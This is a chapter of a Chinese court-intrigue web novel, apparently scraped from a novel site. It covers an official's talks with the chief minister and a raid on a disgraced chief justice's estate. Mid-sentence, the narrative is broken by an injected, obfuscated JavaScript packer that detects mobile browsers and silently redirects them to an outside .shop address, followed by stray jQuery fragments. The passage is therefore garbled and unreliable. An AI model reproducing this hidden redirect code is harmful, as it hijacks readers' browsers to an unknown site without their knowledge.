文趣网 > 其他小说 > 砚上谋 > 27. 二十七
    也说不清左寺这班人到底是胆儿肥还是胆儿瘦。

    领头羊尹不凡混沌半生,不显山不露水的,结果实权交给他不到三日,便将案子查得不敢往下查了,效率简直如风驰云走。

    手下人更不必说,光看首辅大人手里这份密密麻麻的文书,估计推官这几天都没怎么睡过觉。

    沈策安速速浏览一遍,将文册丢回了砚舒怀里,“不对本官保密了?”

    砚推官的礼貌赔够了,做小伏低也够了,脸上明媚的笑逐渐变得焦灼,“不是说宰相肚子能撑船么?”

    女子的浅笑隐在晶莹剔透的皮肤之下,脸上细细的绒毛被阳光镀了层金黄,宛若一枚沉入水底的晶石,澄明,闪亮。沈大人唇角微卷,这算什么,请将不如激将,露出獠牙不耐烦了?

    “本官能肚量有限,顶多能撑住推官的小命~”

    可此番却未见砚推官感恩戴德,“你到底有没有看册子?”

    首辅大人的弓最好不要拉太满。

    “倘若对方是个皇子呢?”

    任凭大人与陛下再志同道合亲如父子,也架不住人家是真父子呀。

    沈策安抿唇,缓慢地瞬目,忽闪的浓睫毛挡住了眼底的暗涌,他起身走向背后的书架挑挑拣拣,“皇权与皇子,孰轻孰重?”

    话一出口,砚推官当即被唬矮了三寸,首辅大人不太厚道,你不怕死,莫拉我垫背。

    看她一缩脖子,沈大人笑得轻蔑。砚舒定了定神,横竖不该听的也听了,不妨胆子放大些,她暗戳戳地凑近,贼兮兮地忽闪着明眸,“大人就认准了这位?不想想后路?”

    今朝是这一位黄袍加身大权在握,可明日总有龙归碧海改朝换代的一天,首辅大人就不未雨绸缪一下?还是已然对一朝天子一朝臣的说法认命了~

    沈策安悄然后退,默默躲开了她的气息,将两本泛黄的书塞给了她,脸上没了方才的戏谑,

    “本官的后路,不劳推官大人挂心。至于案子查到哪儿,该怎么查,这都是你们大理寺的事儿,不要问我。”

    说罢送客。

    送走砚舒,沈兵归来有些犹疑,“少爷,推官大人念叨了一路「不知所云」…..”

    带着问题来又原样带走,您给的暗示是不是太暗了。

    大少爷没说话,沈侍卫噤声。沈策安面对书架,指尖在扉页间流连,目光定在那句「香汗薄衫凉,凉衫薄汗香」的回文诗上,久久没挪开。

    砚舒从外面回来,面色比出门时还要凝重。白跑一趟不说,还欠了月石长老一个人情。

    孙琳柔声安抚,“不算亏欠,这种机会大师乐意之至。”

    砚推官撇嘴,“那人语焉不详,老奸巨猾得很~”

    “欸~”,尹大人忍不住打断,“慎言。”

    “自家地盘儿还不能说点真话了?”砚舒没好气,“什么主意都不拿,就拿两本旧书把我打发了…”

    “你想让沈大人如何说?”

    明知故问。当然是和上次进沈府一样,明确表态,会给砚推官兜底…

    可经老尹这么一问,砚舒发热的脑子也凉了下来。

    沈策安为何一言不发,大概率是这趟买卖于他没什么好处。按尹大人的说法,他并非沈府门客,是砚推官自己不管不顾,将自家上司推上了火线,首辅大人只是没反对而已。

    万一他心目中的大理寺卿另有人选,尹不凡只是个跳板呢?

    砚舒越想越心惊,出一趟门,靠山没找来,疑心病倒得了一堆。

    见她脸色逐渐颓败,应该是想到了根本,尹大人不疾不徐道,“如何结案,大理寺自有界定,首辅大人恪守成规,这是好事。”

    砚舒点了点头。近日来推官里最出风头的就数她,同僚们表面客气,实则对她小有微词,都说陆氏女习惯性地要先找靠山后办事。

    但砚推官不觉得这是错。

    他们是没尝过一夜之间大厦倾颓、树倒猢狲散的悲凉与可怖。无论如何,她受够了那种形单影只孤苦无依,主意再正,她身旁也得有同道。

    沈策安这只老….,也不是很老,中不溜的狐狸,不见兔子不撒鹰,竖子不足与谋。砚舒一声冷笑,信手翻开了那本发黄的旧书。

    这会儿她心浮气躁,没心思干正事儿,不如看会儿书,说不定「救赎之道,就在其中」呢~

    迷茫的时候,多翻翻书肯定没错。没看几页,砚舒的目光在一行朱批上定格,瞳孔陡然缩小,她反复咀嚼,觉得别有深意,无声地将书页捧到了尹大人跟前。

    尹不凡扫了一眼书页,稍加沉吟,“备马。”

    李冠群被困在祖宅里三日,光阴忽然变黏,流动得比在大理寺呆上三年还要缓慢。

    无人与他通风报信,外面是何光景他一概不知。每天两茶三饭,看日升月落,除了后院密室里那个活死人,心中了无牵挂,主要是挂念也没用。

    可能这就是解甲归田、告老还乡之后的生活,可光有慢节奏是徒劳,他夜不能寐,静等着朝廷那只靴子落地。

    昔日风光无两的大理寺卿,此刻身边空无一人。兴许跟他平日的行事风格有关,就是那种跟谁都亲近、跟谁的亲近又都浮于表面。

    陛下将其禁足后,朝野上下世家同僚闻声迅速与之切割,无一人替他发声。不过,他仍有信心翻盘。

    案子既然已经闹到了御前,那尽管大张旗鼓地查下去,动静越大、耕得越深越好,届时自然有人会顶不住重压,出来捞他。

    这几日他放开了吃喝,再不似从前每道菜都要人试。此番也可能翻不了身,甚至被灭口,即便在他的一亩三分地也无济于事,那不如放开怀抱随他去。

    若走在那癫狂黑发人前头,也算解脱,也是福气……

    他背着双手立在窗前,细数着林间的绿叶,管家来报,“尹大人到。”

    尹不凡是「到」,而不是以往的「求见」,李冠群嘴角扯出一丝冷笑。这几日他为数不多的反思,就是小瞧这个老匹夫了,这么多年他唯唯诺诺明哲保身,谁知突然亮出这么一下子。

    也是,同窗同年同道,别人一飞冲天,谁甘心一辈子当池中物。

    老尹没有想象中的意气风发,大大的眼袋里兜满深深的疲惫,他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622700|203133||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    进到前厅居然没主动开口,李冠群躬身抱拳,“罪臣见过代寺卿大人。”

    「代」二字咬得极重,仿佛新任寺卿姓代,生怕尹不凡听不出他话音里的嘲讽。老尹平静地凝视着他,“你我之间,大可不必如此。”

    此行代理寺卿没带兵丁,随从不超过十个,轻装前来。李府家仆众多,要是真出了哗变,恐怕连这群仆从都抵不过。

    前寺卿大人淡淡一笑,“谢尹大人开恩。那我也将击杀大人的恶念暂且收一收~”

    尹不凡面不改色,“因为大侄儿,我才跑这一趟。你若想让一大家子都死无全尸,大可自便。”

    李冠群终于有些动容,眼里的戒备裂开了一道缝,“…他从小喊你叔父,你看着他长大,我蹉跎半生,唯他一个软肋,你高抬贵手放过他。”

    李冠群会低眉顺眼说这等软话,闻所未闻,可老尹的态度却少有的鲜明,他犀利道,“大理寺上上下下二三百人,兄台管得井井有条,人人服服贴贴,轮到自家孩子就管不了了?”

    “…他母亲早逝,我时常觉得亏欠他…”

    “是嫂夫人这么说的吧?我提醒过你多少次?溺爱就是掼杀!”

    李冠群的现任夫人是续弦,不同于其他后娘对继子女要么打压要么不闻不问,新夫人对大公子百依百顺,要钱给钱,要力出力,从无二话。

    打着关爱之名的后果就是,这孩子的脾气越来越狂妄乖张,无法无天。

    “…她一个继母,总归是不好当。”

    “那大侄儿的生父总归没换过吧?!”

    轻风动高枝,李冠群的心旌也随风摇摆不定。话题无意间扯远,从抄家查案拐到了他那不争气的好大儿,两人却还你一言我一语辩得乐此不疲~

    直到师爷一脸肃然地潜入前厅,争论戛然而止,师爷报,“大人,找到了~”

    李冠群一怔,继而勃然大怒,“尹不凡!!好你个老匹夫!!跟我来这招调虎离山!”

    老尹用话术拖住家主的功夫,米兰一路披荆斩棘,二位推官紧随其后,避过家丁与衙役的正面交锋,直奔李宅后院。

    这处宅子,米兰和金西结伴夜探了好多次。据附近村民说,早些时候,李府老宅里总传出凄厉狼嚎,传得颇远,山凹那边都能听到。

    府中下人说是看家狗踩中了捕兽夹,众人虽心中存疑,但李氏家大业大,人家怎么说就得怎么信。

    金西不以为然,“什么狼嚎,定是病中惨叫,鬼哭!”

    此番借着正午骄阳,她们在内宅细细搜索。李夫人带着一众女眷哭天抢地,混淆视听,被兰妹子几个手刀下去,统统劈软在地。

    砚舒和孙琳绕着修葺整齐的后花园地毯式寻找,孙推官耸了耸鼻尖,“总觉得有股药味儿。”

    米兰循着味儿而来,竖起鼻子东一铲西一铲,一无所获。砚舒沉吟,“药渣是不是都会倒在大路上?”

    金西和米兰对视了一眼,一跃而起直奔后院墙外的大路,果然找到一堆还微微泛着潮的药渣子。她们将药渣装袋,跳回院子里,

    “远不了!就在这附近!”